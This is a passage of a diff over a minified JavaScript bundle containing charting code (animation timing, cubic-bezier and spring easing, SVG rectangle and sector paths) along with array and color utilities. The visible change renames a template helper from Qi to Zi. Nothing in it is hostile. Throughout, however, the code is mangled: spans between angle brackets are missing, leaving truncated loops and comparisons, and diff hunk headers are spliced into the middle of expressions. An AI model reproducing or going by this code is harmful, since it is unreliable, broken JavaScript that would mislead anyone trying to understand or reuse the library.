y=(m-h)/r,x=Pc((w,O)=>Gd(...O,n(y)),f);if(l(Dt(Dt(Dt({},e),t),x)),y<1)u=c.setTimeout(p);else{var S=Pc((w,O)=>Gd(...O,n(1)),f);l(Dt(Dt(Dt({},e),t),S))}};return()=>(u=c.setTimeout(p),()=>{var m;(m=u)===null||m===void 0||m()})}const vG=(e,t,n,r,i,l)=>{var c=uG(e,t);return n==null?()=>(i(Dt(Dt({},e),t)),()=>{}):n.isStepper===!0?pG(e,t,n,c,i,l):mG(e,t,n,r,c,i,l)};var Wd=1e-4,TD=(e,t)=>[0,3*e,3*t-6*e,3*e-3*t+1],ND=(e,t)=>e.map((n,r)=>n*t**r).reduce((n,r)=>n+r),pT=(e,t)=>n=>{var r=TD(e,t);return ND(r,n)},gG=(e,t)=>n=>{var r=TD(e,t),i=[...r.map((l,c)=>l*c).slice(1),0];return ND(i,n)},yG=e=>{var t,n=e.split("(");if(n.length!==2||n[0]!=="cubic-bezier")return null;var r=(t=n[1])===null||t===void 0||(t=t.split(")")[0])===null||t===void 0?void 0:t.split(",");if(r==null||r.length!==4)return null;var i=r.map(l=>parseFloat(l));return[i[0],i[1],i[2],i[3]]},bG=function(){for(var t=arguments.length,n=new Array(t),r=0;r{var i=pT(e,n),l=pT(t,r),c=gG(e,n),u=h=>h>1?1:h<0?0:h,f=h=>{for(var p=h>1?1:h,m=p,y=0;y<8;++y){var x=i(m)-p,S=c(m);if(Math.abs(x-p)0&&arguments[0]!==void 0?arguments[0]:{},{stiff:n=100,damping:r=8,dt:i=17}=t,l=(c,u,f)=>{var h=-(c-u)*n,p=f*r,m=f+(h-p)*i/1e3,y=f*i/1e3+c;return Math.abs(y-u){if(typeof e=="string")switch(e){case"ease":case"ease-in-out":case"ease-out":case"ease-in":case"linear":return mT(e);case"spring":return wG();default:if(e.split("(")[0]==="cubic-bezier")return mT(e)}return typeof e=="function"?e:null};function OG(e){var t,n=()=>null,r=!1,i=null,l=c=>{if(!r){if(Array.isArray(c)){if(!c.length)return;var u=c,[f,...h]=u;if(typeof f=="number"){i=e.setTimeout(l.bind(null,h),f);return}l(f),i=e.setTimeout(l.bind(null,h));return}typeof c=="string"&&(t=c,n(t)),typeof c=="object"&&(t=c,n(t)),typeof c=="function"&&c()}};return{stop:()=>{r=!0},start:c=>{r=!1,i&&(i(),i=null),l(c)},subscribe:c=>(n=c,()=>{n=()=>null}),getTimeoutController:()=>e}}class EG{setTimeout(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:0,r=performance.now(),i=null,l=c=>{c-r>=n?t(c):typeof requestAnimationFrame=="function"&&(i=requestAnimationFrame(l))};return i=requestAnimationFrame(l),()=>{i!=null&&cancelAnimationFrame(i)}}}function AG(){return OG(new EG)}var CG=v.createContext(AG);function _G(e,t){var n=v.useContext(CG);return v.useMemo(()=>t??n(e),[e,t,n])}var TG=()=>!(typeof window<"u"&&window.document&&window.document.createElement&&window.setTimeout),mp={isSsr:TG()},NG={begin:0,duration:1e3,easing:"ease",isActive:!0,canBegin:!0,onAnimationEnd:()=>{},onAnimationStart:()=>{}},vT={t:0},My={t:1};function vp(e){var t=pn(e,NG),{isActive:n,canBegin:r,duration:i,easing:l,begin:c,onAnimationEnd:u,onAnimationStart:f,children:h}=t,p=n==="auto"?!mp.isSsr:n,m=_G(t.animationId,t.animationManager),[y,x]=v.useState(p?vT:My),S=v.useRef(null);return v.useEffect(()=>{p||x(My)},[p]),v.useEffect(()=>{if(!p||!r)return Gc;var w=vG(vT,My,SG(l),i,x,m.getTimeoutController()),O=()=>{S.current=w()};return m.start([f,c,O,i,u]),()=>{m.stop(),S.current&&S.current(),u()}},[p,r,i,l,c,f,u,m]),h(y.t)}function gp(e){var t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:"animation-",n=v.useRef(Ac(t)),r=v.useRef(e);return r.current!==e&&(n.current=Ac(t),r.current=e),n.current}var MG=["radius"],jG=["radius"],gT,yT,bT,xT,wT,ST,OT,ET,AT,CT;function _T(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function TT(e){for(var t=1;t{var l=yi(n),c=yi(r),u=Math.min(Math.abs(l)/2,Math.abs(c)/2),f=c>=0?1:-1,h=l>=0?1:-1,p=c>=0&&l>=0||c<0&&l<0?1:0,m;if(u>0&&i instanceof Array){for(var y=[0,0,0,0],x=0,S=4;xu?u:i[x];m=gt(gT||(gT=Pr(["M",",",""])),e,t+f*y[0]),y[0]>0&&(m+=gt(yT||(yT=Pr(["A ",",",",0,0,",",",",",""])),y[0],y[0],p,e+h*y[0],t)),m+=gt(bT||(bT=Pr(["L ",",",""])),e+n-h*y[1],t),y[1]>0&&(m+=gt(xT||(xT=Pr(["A ",",",",0,0,",`, `,",",""])),y[1],y[1],p,e+n,t+f*y[1])),m+=gt(wT||(wT=Pr(["L ",",",""])),e+n,t+r-f*y[2]),y[2]>0&&(m+=gt(ST||(ST=Pr(["A ",",",",0,0,",`, `,",",""])),y[2],y[2],p,e+n-h*y[2],t+r)),m+=gt(OT||(OT=Pr(["L ",",",""])),e+h*y[3],t+r),y[3]>0&&(m+=gt(ET||(ET=Pr(["A ",",",",0,0,",`, `,",",""])),y[3],y[3],p,e,t+r-f*y[3])),m+="Z"}else if(u>0&&i===+i&&i>0){var w=Math.min(u,i);m=gt(AT||(AT=Pr(["M ",",",` @@ -59,31 +59,31 @@ Error generating stack: `+d.message+` L `,",",` A `,",",",0,0,",",",",",` L `,",",` - A `,",",",0,0,",",",","," Z"])),e,t+f*w,w,w,p,e+h*w,t,e+n-h*w,t,w,w,p,e+n,t+f*w,e+n,t+r-f*w,w,w,p,e+n-h*w,t+r,e+h*w,t+r,w,w,p,e,t+r-f*w)}else m=gt(CT||(CT=Pr(["M ",","," h "," v "," h "," Z"])),e,t,n,r,-n);return m},jT={x:0,y:0,width:0,height:0,radius:0,isAnimationActive:!1,isUpdateAnimationActive:!1,animationBegin:0,animationDuration:1500,animationEasing:"ease"},MD=e=>{var t=pn(e,jT),n=v.useRef(null),[r,i]=v.useState(-1);v.useEffect(()=>{if(n.current&&n.current.getTotalLength)try{var F=n.current.getTotalLength();F&&i(F)}catch{}},[]);var{x:l,y:c,width:u,height:f,radius:h,className:p}=t,{animationEasing:m,animationDuration:y,animationBegin:x,isAnimationActive:S,isUpdateAnimationActive:w}=t,O=v.useRef(u),A=v.useRef(f),_=v.useRef(l),T=v.useRef(c),j=v.useMemo(()=>({x:l,y:c,width:u,height:f,radius:h}),[l,c,u,f,h]),M=gp(j,"rectangle-");if(l!==+l||c!==+c||u!==+u||f!==+f||u===0||f===0)return null;var P=Ye("recharts-rectangle",p);if(!w){var R=ur(t),{radius:I}=R,B=NT(R,MG);return v.createElement("path",Xd({},B,{x:yi(l),y:yi(c),width:yi(u),height:yi(f),radius:typeof h=="number"?h:void 0,className:P,d:MT(l,c,u,f,h)}))}var q=O.current,U=A.current,V=_.current,oe=T.current,le="0px ".concat(r===-1?1:r,"px"),ce="".concat(r,"px 0px"),L=CD(["strokeDasharray"],y,typeof m=="string"?m:jT.animationEasing);return v.createElement(vp,{animationId:M,key:M,canBegin:r>0,duration:y,easing:m,isActive:w,begin:x},F=>{var $=Rt(q,u,F),Z=Rt(U,f,F),de=Rt(V,l,F),D=Rt(oe,c,F);n.current&&(O.current=$,A.current=Z,_.current=de,T.current=D);var X;S?F>0?X={transition:L,strokeDasharray:ce}:X={strokeDasharray:le}:X={strokeDasharray:ce};var ae=ur(t),{radius:se}=ae,me=NT(ae,jG);return v.createElement("path",Xd({},me,{radius:typeof h=="number"?h:void 0,className:P,d:MT(de,D,$,Z,h),ref:n,style:TT(TT({},X),t.style)}))})};function PT(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function RT(e){for(var t=1;te*180/Math.PI,Nt=(e,t,n,r)=>({x:e+Math.cos(-Zd*r)*n,y:t+Math.sin(-Zd*r)*n}),jD=function(t,n){var r=arguments.length>2&&arguments[2]!==void 0?arguments[2]:{top:0,right:0,bottom:0,left:0};return Math.min(Math.abs(t-(r.left||0)-(r.right||0)),Math.abs(n-(r.top||0)-(r.bottom||0)))/2},BG=(e,t)=>{var{x:n,y:r}=e,{x:i,y:l}=t;return Math.sqrt((n-i)**2+(r-l)**2)},UG=(e,t)=>{var{x:n,y:r}=e,{cx:i,cy:l}=t,c=BG({x:n,y:r},{x:i,y:l});if(c<=0)return{radius:c,angle:0};var u=(n-i)/c,f=Math.acos(u);return r>l&&(f=2*Math.PI-f),{radius:c,angle:$G(f),angleInRadian:f}},HG=e=>{var{startAngle:t,endAngle:n}=e,r=Math.floor(t/360),i=Math.floor(n/360),l=Math.min(r,i);return{startAngle:t-l*360,endAngle:n-l*360}},qG=(e,t)=>{var{startAngle:n,endAngle:r}=t,i=Math.floor(n/360),l=Math.floor(r/360),c=Math.min(i,l);return e+c*360},FG=(e,t)=>{var{chartX:n,chartY:r}=e,{radius:i,angle:l}=UG({x:n,y:r},t),{innerRadius:c,outerRadius:u}=t;if(iu||i===0)return null;var{startAngle:f,endAngle:h}=HG(t),p=l,m;if(f<=h){for(;p>h;)p-=360;for(;p=f&&p<=h}else{for(;p>f;)p-=360;for(;p=h&&p<=f}return m?RT(RT({},t),{},{radius:i,angle:qG(p,t)}):null};function PD(e){var{cx:t,cy:n,radius:r,startAngle:i,endAngle:l}=e,c=Nt(t,n,r,i),u=Nt(t,n,r,l);return{points:[c,u],cx:t,cy:n,radius:r,startAngle:i,endAngle:l}}var DT,kT,LT,IT,zT,$T,BT;function J0(){return J0=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var n=tn(t-e),r=Math.min(Math.abs(t-e),359.999);return n*r},ed=e=>{var{cx:t,cy:n,radius:r,angle:i,sign:l,isExternal:c,cornerRadius:u,cornerIsExternal:f}=e,h=u*(c?1:-1)+r,p=Math.asin(u/h)/Zd,m=f?i:i+l*p,y=Nt(t,n,h,m),x=Nt(t,n,r,m),S=f?i-l*p:i,w=Nt(t,n,h*Math.cos(p*Zd),S);return{center:y,circleTangency:x,lineTangency:w,theta:p}},RD=e=>{var{cx:t,cy:n,innerRadius:r,outerRadius:i,startAngle:l,endAngle:c}=e,u=VG(l,c),f=l+u,h=Nt(t,n,i,l),p=Nt(t,n,i,f),m=gt(DT||(DT=Qi(["M ",",",` + A `,",",",0,0,",",",","," Z"])),e,t+f*w,w,w,p,e+h*w,t,e+n-h*w,t,w,w,p,e+n,t+f*w,e+n,t+r-f*w,w,w,p,e+n-h*w,t+r,e+h*w,t+r,w,w,p,e,t+r-f*w)}else m=gt(CT||(CT=Pr(["M ",","," h "," v "," h "," Z"])),e,t,n,r,-n);return m},jT={x:0,y:0,width:0,height:0,radius:0,isAnimationActive:!1,isUpdateAnimationActive:!1,animationBegin:0,animationDuration:1500,animationEasing:"ease"},MD=e=>{var t=pn(e,jT),n=v.useRef(null),[r,i]=v.useState(-1);v.useEffect(()=>{if(n.current&&n.current.getTotalLength)try{var F=n.current.getTotalLength();F&&i(F)}catch{}},[]);var{x:l,y:c,width:u,height:f,radius:h,className:p}=t,{animationEasing:m,animationDuration:y,animationBegin:x,isAnimationActive:S,isUpdateAnimationActive:w}=t,O=v.useRef(u),A=v.useRef(f),_=v.useRef(l),T=v.useRef(c),j=v.useMemo(()=>({x:l,y:c,width:u,height:f,radius:h}),[l,c,u,f,h]),M=gp(j,"rectangle-");if(l!==+l||c!==+c||u!==+u||f!==+f||u===0||f===0)return null;var P=Ye("recharts-rectangle",p);if(!w){var R=ur(t),{radius:I}=R,B=NT(R,MG);return v.createElement("path",Xd({},B,{x:yi(l),y:yi(c),width:yi(u),height:yi(f),radius:typeof h=="number"?h:void 0,className:P,d:MT(l,c,u,f,h)}))}var q=O.current,U=A.current,V=_.current,oe=T.current,le="0px ".concat(r===-1?1:r,"px"),ce="".concat(r,"px 0px"),L=CD(["strokeDasharray"],y,typeof m=="string"?m:jT.animationEasing);return v.createElement(vp,{animationId:M,key:M,canBegin:r>0,duration:y,easing:m,isActive:w,begin:x},F=>{var $=Rt(q,u,F),Z=Rt(U,f,F),de=Rt(V,l,F),D=Rt(oe,c,F);n.current&&(O.current=$,A.current=Z,_.current=de,T.current=D);var X;S?F>0?X={transition:L,strokeDasharray:ce}:X={strokeDasharray:le}:X={strokeDasharray:ce};var ae=ur(t),{radius:se}=ae,me=NT(ae,jG);return v.createElement("path",Xd({},me,{radius:typeof h=="number"?h:void 0,className:P,d:MT(de,D,$,Z,h),ref:n,style:TT(TT({},X),t.style)}))})};function PT(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function RT(e){for(var t=1;te*180/Math.PI,Nt=(e,t,n,r)=>({x:e+Math.cos(-Zd*r)*n,y:t+Math.sin(-Zd*r)*n}),jD=function(t,n){var r=arguments.length>2&&arguments[2]!==void 0?arguments[2]:{top:0,right:0,bottom:0,left:0};return Math.min(Math.abs(t-(r.left||0)-(r.right||0)),Math.abs(n-(r.top||0)-(r.bottom||0)))/2},BG=(e,t)=>{var{x:n,y:r}=e,{x:i,y:l}=t;return Math.sqrt((n-i)**2+(r-l)**2)},UG=(e,t)=>{var{x:n,y:r}=e,{cx:i,cy:l}=t,c=BG({x:n,y:r},{x:i,y:l});if(c<=0)return{radius:c,angle:0};var u=(n-i)/c,f=Math.acos(u);return r>l&&(f=2*Math.PI-f),{radius:c,angle:$G(f),angleInRadian:f}},HG=e=>{var{startAngle:t,endAngle:n}=e,r=Math.floor(t/360),i=Math.floor(n/360),l=Math.min(r,i);return{startAngle:t-l*360,endAngle:n-l*360}},qG=(e,t)=>{var{startAngle:n,endAngle:r}=t,i=Math.floor(n/360),l=Math.floor(r/360),c=Math.min(i,l);return e+c*360},FG=(e,t)=>{var{chartX:n,chartY:r}=e,{radius:i,angle:l}=UG({x:n,y:r},t),{innerRadius:c,outerRadius:u}=t;if(iu||i===0)return null;var{startAngle:f,endAngle:h}=HG(t),p=l,m;if(f<=h){for(;p>h;)p-=360;for(;p=f&&p<=h}else{for(;p>f;)p-=360;for(;p=h&&p<=f}return m?RT(RT({},t),{},{radius:i,angle:qG(p,t)}):null};function PD(e){var{cx:t,cy:n,radius:r,startAngle:i,endAngle:l}=e,c=Nt(t,n,r,i),u=Nt(t,n,r,l);return{points:[c,u],cx:t,cy:n,radius:r,startAngle:i,endAngle:l}}var DT,kT,LT,IT,zT,$T,BT;function J0(){return J0=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var n=tn(t-e),r=Math.min(Math.abs(t-e),359.999);return n*r},ed=e=>{var{cx:t,cy:n,radius:r,angle:i,sign:l,isExternal:c,cornerRadius:u,cornerIsExternal:f}=e,h=u*(c?1:-1)+r,p=Math.asin(u/h)/Zd,m=f?i:i+l*p,y=Nt(t,n,h,m),x=Nt(t,n,r,m),S=f?i-l*p:i,w=Nt(t,n,h*Math.cos(p*Zd),S);return{center:y,circleTangency:x,lineTangency:w,theta:p}},RD=e=>{var{cx:t,cy:n,innerRadius:r,outerRadius:i,startAngle:l,endAngle:c}=e,u=VG(l,c),f=l+u,h=Nt(t,n,i,l),p=Nt(t,n,i,f),m=gt(DT||(DT=Zi(["M ",",",` A `,",",`,0, `,",",`, `,",",` - `])),h.x,h.y,i,i,+(Math.abs(u)>180),+(l>f),p.x,p.y);if(r>0){var y=Nt(t,n,r,l),x=Nt(t,n,r,f);m+=gt(kT||(kT=Qi(["L ",",",` + `])),h.x,h.y,i,i,+(Math.abs(u)>180),+(l>f),p.x,p.y);if(r>0){var y=Nt(t,n,r,l),x=Nt(t,n,r,f);m+=gt(kT||(kT=Zi(["L ",",",` A `,",",`,0, `,",",`, - `,","," Z"])),x.x,x.y,r,r,+(Math.abs(u)>180),+(l<=f),y.x,y.y)}else m+=gt(LT||(LT=Qi(["L ",","," Z"])),t,n);return m},KG=e=>{var{cx:t,cy:n,innerRadius:r,outerRadius:i,cornerRadius:l,forceCornerRadius:c,cornerIsExternal:u,startAngle:f,endAngle:h}=e,p=tn(h-f),{circleTangency:m,lineTangency:y,theta:x}=ed({cx:t,cy:n,radius:i,angle:f,sign:p,cornerRadius:l,cornerIsExternal:u}),{circleTangency:S,lineTangency:w,theta:O}=ed({cx:t,cy:n,radius:i,angle:h,sign:-p,cornerRadius:l,cornerIsExternal:u}),A=u?Math.abs(f-h):Math.abs(f-h)-x-O;if(A<0)return c?gt(IT||(IT=Qi(["M ",",",` + `,","," Z"])),x.x,x.y,r,r,+(Math.abs(u)>180),+(l<=f),y.x,y.y)}else m+=gt(LT||(LT=Zi(["L ",","," Z"])),t,n);return m},KG=e=>{var{cx:t,cy:n,innerRadius:r,outerRadius:i,cornerRadius:l,forceCornerRadius:c,cornerIsExternal:u,startAngle:f,endAngle:h}=e,p=tn(h-f),{circleTangency:m,lineTangency:y,theta:x}=ed({cx:t,cy:n,radius:i,angle:f,sign:p,cornerRadius:l,cornerIsExternal:u}),{circleTangency:S,lineTangency:w,theta:O}=ed({cx:t,cy:n,radius:i,angle:h,sign:-p,cornerRadius:l,cornerIsExternal:u}),A=u?Math.abs(f-h):Math.abs(f-h)-x-O;if(A<0)return c?gt(IT||(IT=Zi(["M ",",",` a`,",",",0,0,1,",`,0 a`,",",",0,0,1,",`,0 - `])),y.x,y.y,l,l,l*2,l,l,-l*2):RD({cx:t,cy:n,innerRadius:r,outerRadius:i,startAngle:f,endAngle:h});var _=gt(zT||(zT=Qi(["M ",",",` + `])),y.x,y.y,l,l,l*2,l,l,-l*2):RD({cx:t,cy:n,innerRadius:r,outerRadius:i,startAngle:f,endAngle:h});var _=gt(zT||(zT=Zi(["M ",",",` A`,",",",0,0,",",",",",` A`,",",",0,",",",",",",",` A`,",",",0,0,",",",",",` - `])),y.x,y.y,l,l,+(p<0),m.x,m.y,i,i,+(A>180),+(p<0),S.x,S.y,l,l,+(p<0),w.x,w.y);if(r>0){var{circleTangency:T,lineTangency:j,theta:M}=ed({cx:t,cy:n,radius:r,angle:f,sign:p,isExternal:!0,cornerRadius:l,cornerIsExternal:u}),{circleTangency:P,lineTangency:R,theta:I}=ed({cx:t,cy:n,radius:r,angle:h,sign:-p,isExternal:!0,cornerRadius:l,cornerIsExternal:u}),B=u?Math.abs(f-h):Math.abs(f-h)-M-I;if(B<0&&l===0)return"".concat(_,"L").concat(t,",").concat(n,"Z");_+=gt($T||($T=Qi(["L",",",` + `])),y.x,y.y,l,l,+(p<0),m.x,m.y,i,i,+(A>180),+(p<0),S.x,S.y,l,l,+(p<0),w.x,w.y);if(r>0){var{circleTangency:T,lineTangency:j,theta:M}=ed({cx:t,cy:n,radius:r,angle:f,sign:p,isExternal:!0,cornerRadius:l,cornerIsExternal:u}),{circleTangency:P,lineTangency:R,theta:I}=ed({cx:t,cy:n,radius:r,angle:h,sign:-p,isExternal:!0,cornerRadius:l,cornerIsExternal:u}),B=u?Math.abs(f-h):Math.abs(f-h)-M-I;if(B<0&&l===0)return"".concat(_,"L").concat(t,",").concat(n,"Z");_+=gt($T||($T=Zi(["L",",",` A`,",",",0,0,",",",",",` A`,",",",0,",",",",",",",` - A`,",",",0,0,",",",",","Z"])),R.x,R.y,l,l,+(p<0),P.x,P.y,r,r,+(B>180),+(p>0),T.x,T.y,l,l,+(p<0),j.x,j.y)}else _+=gt(BT||(BT=Qi(["L",",","Z"])),t,n);return _},YG={cx:0,cy:0,innerRadius:0,outerRadius:0,startAngle:0,endAngle:0,cornerRadius:0,forceCornerRadius:!1,cornerIsExternal:!1},DD=e=>{var t=pn(e,YG),{cx:n,cy:r,innerRadius:i,outerRadius:l,cornerRadius:c,forceCornerRadius:u,cornerIsExternal:f,startAngle:h,endAngle:p,className:m}=t;if(l0&&Math.abs(h-p)<360?w=KG({cx:n,cy:r,innerRadius:i,outerRadius:l,cornerRadius:Math.min(S,x/2),forceCornerRadius:u,cornerIsExternal:f,startAngle:h,endAngle:p}):w=RD({cx:n,cy:r,innerRadius:i,outerRadius:l,startAngle:h,endAngle:p}),v.createElement("path",J0({},ur(t),{className:y,d:w}))};function GG(e,t,n){if(e==="horizontal")return[{x:t.x,y:n.top},{x:t.x,y:n.top+n.height}];if(e==="vertical")return[{x:n.left,y:t.y},{x:n.left+n.width,y:t.y}];if(yR(t)){if(e==="centric"){var{cx:r,cy:i,innerRadius:l,outerRadius:c,angle:u}=t,f=Nt(r,i,l,u),h=Nt(r,i,c,u);return[{x:f.x,y:f.y},{x:h.x,y:h.y}]}return PD(t)}}var jy={},Py={},Ry={},UT;function WG(){return UT||(UT=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=NR();function n(r){return t.isSymbol(r)?NaN:Number(r)}e.toNumber=n})(Ry)),Ry}var HT;function XG(){return HT||(HT=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=WG();function n(r){return r?(r=t.toNumber(r),r===1/0||r===-1/0?(r<0?-1:1)*Number.MAX_VALUE:r===r?r:0):r===0?r:0}e.toFinite=n})(Py)),Py}var qT;function ZG(){return qT||(qT=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=MR(),n=XG();function r(i,l,c){c&&typeof c!="number"&&t.isIterateeCall(i,l,c)&&(l=c=void 0),i=n.toFinite(i),l===void 0?(l=i,i=0):l=n.toFinite(l),c=c===void 0?it?1:e>=t?0:NaN}function eW(e,t){return e==null||t==null?NaN:te?1:t>=e?0:NaN}function _x(e){let t,n,r;e.length!==2?(t=bi,n=(u,f)=>bi(e(u),f),r=(u,f)=>e(u)-f):(t=e===bi||e===eW?e:tW,n=e,r=e);function i(u,f,h=0,p=u.length){if(h>>1;n(u[m],f)<0?h=m+1:p=m}while(h>>1;n(u[m],f)<=0?h=m+1:p=m}while(hh&&r(u[m-1],f)>-r(u[m],f)?m-1:m}return{left:i,center:c,right:l}}function tW(){return 0}function LD(e){return e===null?NaN:+e}function*nW(e,t){for(let n of e)n!=null&&(n=+n)>=n&&(yield n)}const rW=_x(bi),tu=rW.right;_x(LD).center;class VT extends Map{constructor(t,n=oW){if(super(),Object.defineProperties(this,{_intern:{value:new Map},_key:{value:n}}),t!=null)for(const[r,i]of t)this.set(r,i)}get(t){return super.get(KT(this,t))}has(t){return super.has(KT(this,t))}set(t,n){return super.set(aW(this,t),n)}delete(t){return super.delete(iW(this,t))}}function KT({_intern:e,_key:t},n){const r=t(n);return e.has(r)?e.get(r):n}function aW({_intern:e,_key:t},n){const r=t(n);return e.has(r)?e.get(r):(e.set(r,n),n)}function iW({_intern:e,_key:t},n){const r=t(n);return e.has(r)&&(n=e.get(r),e.delete(r)),n}function oW(e){return e!==null&&typeof e=="object"?e.valueOf():e}function lW(e=bi){if(e===bi)return ID;if(typeof e!="function")throw new TypeError("compare is not a function");return(t,n)=>{const r=e(t,n);return r||r===0?r:(e(n,n)===0)-(e(t,t)===0)}}function ID(e,t){return(e==null||!(e>=e))-(t==null||!(t>=t))||(et?1:0)}const sW=Math.sqrt(50),cW=Math.sqrt(10),uW=Math.sqrt(2);function Qd(e,t,n){const r=(t-e)/Math.max(0,n),i=Math.floor(Math.log10(r)),l=r/Math.pow(10,i),c=l>=sW?10:l>=cW?5:l>=uW?2:1;let u,f,h;return i<0?(h=Math.pow(10,-i)/c,u=Math.round(e*h),f=Math.round(t*h),u/ht&&--f,h=-h):(h=Math.pow(10,i)*c,u=Math.round(e/h),f=Math.round(t/h),u*ht&&--f),f0))return[];if(e===t)return[e];const r=t=i))return[];const u=l-i+1,f=new Array(u);if(r)if(c<0)for(let h=0;h=r)&&(n=r);return n}function GT(e,t){let n;for(const r of e)r!=null&&(n>r||n===void 0&&r>=r)&&(n=r);return n}function zD(e,t,n=0,r=1/0,i){if(t=Math.floor(t),n=Math.floor(Math.max(0,n)),r=Math.floor(Math.min(e.length-1,r)),!(n<=t&&t<=r))return e;for(i=i===void 0?ID:lW(i);r>n;){if(r-n>600){const f=r-n+1,h=t-n+1,p=Math.log(f),m=.5*Math.exp(2*p/3),y=.5*Math.sqrt(p*m*(f-m)/f)*(h-f/2<0?-1:1),x=Math.max(n,Math.floor(t-h*m/f+y)),S=Math.min(r,Math.floor(t+(f-h)*m/f+y));zD(e,t,x,S,i)}const l=e[t];let c=n,u=r;for(lc(e,n,t),i(e[r],l)>0&&lc(e,n,r);c0;)--u}i(e[n],l)===0?lc(e,n,u):(++u,lc(e,u,r)),u<=t&&(n=u+1),t<=u&&(r=u-1)}return e}function lc(e,t,n){const r=e[t];e[t]=e[n],e[n]=r}function fW(e,t,n){if(e=Float64Array.from(nW(e)),!(!(r=e.length)||isNaN(t=+t))){if(t<=0||r<2)return GT(e);if(t>=1)return YT(e);var r,i=(r-1)*t,l=Math.floor(i),c=YT(zD(e,l).subarray(0,l+1)),u=GT(e.subarray(l+1));return c+(u-c)*(i-l)}}function dW(e,t,n=LD){if(!(!(r=e.length)||isNaN(t=+t))){if(t<=0||r<2)return+n(e[0],0,e);if(t>=1)return+n(e[r-1],r-1,e);var r,i=(r-1)*t,l=Math.floor(i),c=+n(e[l],l,e),u=+n(e[l+1],l+1,e);return c+(u-c)*(i-l)}}function hW(e,t,n){e=+e,t=+t,n=(i=arguments.length)<2?(t=e,e=0,1):i<3?1:+n;for(var r=-1,i=Math.max(0,Math.ceil((t-e)/n))|0,l=new Array(i);++r>8&15|t>>4&240,t>>4&15|t&240,(t&15)<<4|t&15,1):n===8?td(t>>24&255,t>>16&255,t>>8&255,(t&255)/255):n===4?td(t>>12&15|t>>8&240,t>>8&15|t>>4&240,t>>4&15|t&240,((t&15)<<4|t&15)/255):null):(t=vW.exec(e))?new En(t[1],t[2],t[3],1):(t=gW.exec(e))?new En(t[1]*255/100,t[2]*255/100,t[3]*255/100,1):(t=yW.exec(e))?td(t[1],t[2],t[3],t[4]):(t=bW.exec(e))?td(t[1]*255/100,t[2]*255/100,t[3]*255/100,t[4]):(t=xW.exec(e))?tN(t[1],t[2]/100,t[3]/100,1):(t=wW.exec(e))?tN(t[1],t[2]/100,t[3]/100,t[4]):WT.hasOwnProperty(e)?QT(WT[e]):e==="transparent"?new En(NaN,NaN,NaN,0):null}function QT(e){return new En(e>>16&255,e>>8&255,e&255,1)}function td(e,t,n,r){return r<=0&&(e=t=n=NaN),new En(e,t,n,r)}function EW(e){return e instanceof nu||(e=kc(e)),e?(e=e.rgb(),new En(e.r,e.g,e.b,e.opacity)):new En}function ab(e,t,n,r){return arguments.length===1?EW(e):new En(e,t,n,r??1)}function En(e,t,n,r){this.r=+e,this.g=+t,this.b=+n,this.opacity=+r}Mx(En,ab,BD(nu,{brighter(e){return e=e==null?Jd:Math.pow(Jd,e),new En(this.r*e,this.g*e,this.b*e,this.opacity)},darker(e){return e=e==null?Rc:Math.pow(Rc,e),new En(this.r*e,this.g*e,this.b*e,this.opacity)},rgb(){return this},clamp(){return new En(no(this.r),no(this.g),no(this.b),eh(this.opacity))},displayable(){return-.5<=this.r&&this.r<255.5&&-.5<=this.g&&this.g<255.5&&-.5<=this.b&&this.b<255.5&&0<=this.opacity&&this.opacity<=1},hex:JT,formatHex:JT,formatHex8:AW,formatRgb:eN,toString:eN}));function JT(){return`#${Ji(this.r)}${Ji(this.g)}${Ji(this.b)}`}function AW(){return`#${Ji(this.r)}${Ji(this.g)}${Ji(this.b)}${Ji((isNaN(this.opacity)?1:this.opacity)*255)}`}function eN(){const e=eh(this.opacity);return`${e===1?"rgb(":"rgba("}${no(this.r)}, ${no(this.g)}, ${no(this.b)}${e===1?")":`, ${e})`}`}function eh(e){return isNaN(e)?1:Math.max(0,Math.min(1,e))}function no(e){return Math.max(0,Math.min(255,Math.round(e)||0))}function Ji(e){return e=no(e),(e<16?"0":"")+e.toString(16)}function tN(e,t,n,r){return r<=0?e=t=n=NaN:n<=0||n>=1?e=t=NaN:t<=0&&(e=NaN),new wr(e,t,n,r)}function UD(e){if(e instanceof wr)return new wr(e.h,e.s,e.l,e.opacity);if(e instanceof nu||(e=kc(e)),!e)return new wr;if(e instanceof wr)return e;e=e.rgb();var t=e.r/255,n=e.g/255,r=e.b/255,i=Math.min(t,n,r),l=Math.max(t,n,r),c=NaN,u=l-i,f=(l+i)/2;return u?(t===l?c=(n-r)/u+(n0&&f<1?0:c,new wr(c,u,f,e.opacity)}function CW(e,t,n,r){return arguments.length===1?UD(e):new wr(e,t,n,r??1)}function wr(e,t,n,r){this.h=+e,this.s=+t,this.l=+n,this.opacity=+r}Mx(wr,CW,BD(nu,{brighter(e){return e=e==null?Jd:Math.pow(Jd,e),new wr(this.h,this.s,this.l*e,this.opacity)},darker(e){return e=e==null?Rc:Math.pow(Rc,e),new wr(this.h,this.s,this.l*e,this.opacity)},rgb(){var e=this.h%360+(this.h<0)*360,t=isNaN(e)||isNaN(this.s)?0:this.s,n=this.l,r=n+(n<.5?n:1-n)*t,i=2*n-r;return new En(ky(e>=240?e-240:e+120,i,r),ky(e,i,r),ky(e<120?e+240:e-120,i,r),this.opacity)},clamp(){return new wr(nN(this.h),nd(this.s),nd(this.l),eh(this.opacity))},displayable(){return(0<=this.s&&this.s<=1||isNaN(this.s))&&0<=this.l&&this.l<=1&&0<=this.opacity&&this.opacity<=1},formatHsl(){const e=eh(this.opacity);return`${e===1?"hsl(":"hsla("}${nN(this.h)}, ${nd(this.s)*100}%, 